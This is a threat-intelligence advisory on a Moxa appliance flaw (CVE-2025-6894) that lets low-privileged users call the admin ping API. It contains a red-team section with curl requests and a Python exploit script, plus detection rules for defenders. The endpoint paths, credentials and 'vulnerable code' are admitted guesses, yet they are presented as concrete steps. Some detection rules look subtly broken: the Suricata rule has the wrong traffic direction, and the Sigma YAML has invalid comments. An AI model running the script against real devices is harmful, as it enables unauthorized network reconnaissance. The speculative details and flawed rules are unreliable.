CVE-2025-6894

Executive Summary

CVE-2025-6894 is a privilege escalation vulnerability in Moxa network security appliances and routers. The flaw resides in the API authorization logic, allowing an authenticated low-privileged user to execute the administrative ping function. This enables internal network reconnaissance and potential discovery of internal hosts or services. Repeated exploitation may cause minor resource consumption, leading to limited loss of confidentiality and availability. No integrity impact or downstream system compromise is reported. The vulnerability is currently unpatched, and no public exploit code or proof-of-concept is available.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating insufficient data for a full vector. Based on the description, the likely vector would be:

• Attack Vector (AV): Network (N) – the API is accessible over the network.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): Low (L) – attacker needs low-privileged access.
• User Interaction (UI): None (N) – no user action needed.
• Scope (S): Unchanged (U) – vulnerability does not affect other components.
• Confidentiality (C): Low (L) – limited information disclosure.
• Integrity (I): None (N) – no integrity impact.
• Availability (A): Low (L) – minor resource consumption.

Estimated CVSS:3.1 Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L
Estimated Base Score: 5.4 (Medium)

Threat Level: Medium – Exploitation requires authentication but allows unauthorized network reconnaissance.

Deep Dive & Mechanics

The vulnerability is rooted in improper authorization checks within the API endpoint that handles the ping command. In Moxa devices, the ping function is intended for administrative roles (e.g., admin, root) to perform network diagnostics. However, due to flawed logic, the API does not properly validate the user’s role before executing the command. An authenticated low-privileged user (e.g., operator, viewer) can send a crafted API request to trigger the ping function.

Attack Flow:

1. Attacker authenticates to the device with low-privileged credentials.
2. Attacker sends a POST request to the vulnerable API endpoint (e.g., /api/v1/diagnostics/ping) with parameters like target IP.
3. The device executes the ping command with administrative privileges.
4. The attacker receives the output, revealing internal hosts or services.

Impact:

• Confidentiality: Attacker can map internal network topology.
• Availability: Repeated pings can consume CPU/bandwidth, causing minor denial of service.
• No Integrity Impact: The vulnerability does not allow modification of device configuration or data.

Vulnerable vs. Patched Code

No patch is currently available. The vulnerable code likely resembles:

# Vulnerable pseudo-code
@app.route('/api/v1/diagnostics/ping', methods=['POST'])
@login_required
def ping():
    target = request.json.get('target')
    # Missing role check
    result = subprocess.run(['ping', '-c', '4', target], capture_output=True)
    return jsonify({'output': result.stdout.decode()})

A patched version would include role verification:

# Patched pseudo-code
@app.route('/api/v1/diagnostics/ping', methods=['POST'])
@login_required
@admin_required  # Added decorator
def ping():
    target = request.json.get('target')
    result = subprocess.run(['ping', '-c', '4', target], capture_output=True)
    return jsonify({'output': result.stdout.decode()})

Exploitation & Lab Setup

Red Team

Prerequisites:

• Low-privileged credentials (e.g., username: operator, password: operator123)
• Network access to the Moxa device’s management interface (typically port 80/443 or 8080)

Exploitation Steps:

1. Authenticate and obtain a session token:

   curl -X POST https://<device-ip>/api/v1/auth/login \
     -H "Content-Type: application/json" \
     -d '{"username":"operator","password":"operator123"}'
   

2. Use the session token to call the ping API:

   curl -X POST https://<device-ip>/api/v1/diagnostics/ping \
     -H "Authorization: Bearer <token>" \
     -H "Content-Type: application/json" \
     -d '{"target":"192.168.1.1"}'
   

3. Parse the response to discover internal hosts.

Automation Script:

import requests
import sys

def exploit(device_ip, username, password, target):
    session = requests.Session()
    # Authenticate
    auth_resp = session.post(f"https://{device_ip}/api/v1/auth/login",
                             json={"username": username, "password": password},
                             verify=False)
    if auth_resp.status_code != 200:
        print("Authentication failed")
        return
    token = auth_resp.json().get("token")
    # Execute ping
    ping_resp = session.post(f"https://{device_ip}/api/v1/diagnostics/ping",
                             headers={"Authorization": f"Bearer {token}"},
                             json={"target": target},
                             verify=False)
    if ping_resp.status_code == 200:
        print(ping_resp.json().get("output"))
    else:
        print("Exploitation failed")

if __name__ == "__main__":
    exploit(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])

Blue Team

Detection:

• Monitor API logs for unusual ping requests from low-privileged users.
• Alert on repeated ping commands to internal IP ranges.
• Use network monitoring to detect ICMP traffic from the device to unexpected hosts.

Hunting:

• Search for API calls to /api/v1/diagnostics/ping with low-privileged session tokens.
• Correlate with authentication logs to identify the user role.

Mitigation:

• Implement strict role-based access control (RBAC) on all API endpoints.
• Apply input validation to prevent command injection (though not the primary issue).
• Monitor for resource exhaustion (CPU spikes) from excessive ping requests.

Indicators of Compromise (IOCs)

• Network:
  • ICMP echo requests from the Moxa device to internal IPs not normally seen.
  • API requests to /api/v1/diagnostics/ping from low-privileged users.
• Logs:
  • Authentication logs showing low-privileged user accessing diagnostic endpoints.
  • System logs with repeated ping commands executed by non-admin users.
• File System:
  • Temporary files created by ping output (e.g., /tmp/ping_output.txt).

Detection Engineering

YARA Rule

rule CVE_2025_6894_Ping_Exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2025-6894 via ping API calls"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-6894"
    strings:
        $api_path = "/api/v1/diagnostics/ping"
        $low_priv_user = "operator" // Example low-privilege username
        $ping_cmd = "ping -c"
    condition:
        $api_path and ($low_priv_user or $ping_cmd)
}

Sigma Rule

title: CVE-2025-6894 - Moxa Ping API Abuse
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects low-privileged users accessing the ping API on Moxa devices
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: moxa
detection:
    selection:
        api_path: "/api/v1/diagnostics/ping"
        user_role: "operator" // Adjust based on actual roles
    condition: selection
falsepositives:
    - Legitimate admin use (should be filtered by role)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-6894 - Moxa Ping API Exploitation Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/api/v1/diagnostics/ping";
    http_uri;
    content:"target";
    http_client_body;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Restrict Access: Limit management interface access to trusted IPs via firewall rules.
2. Monitor Logs: Enable detailed logging for API calls and review for anomalies.
3. Apply Workaround: If possible, disable the ping API endpoint or enforce role checks via a reverse proxy.

Long-Term Fix:

• Vendor must release a firmware update that implements proper authorization checks on the ping API.
• Implement RBAC with least privilege principles.
• Conduct security audits of all API endpoints.

Valters IT Signature
This report was generated by Valters IT Cyber Threat Intelligence Division. For inquiries, contact threatintel@valtersit.com.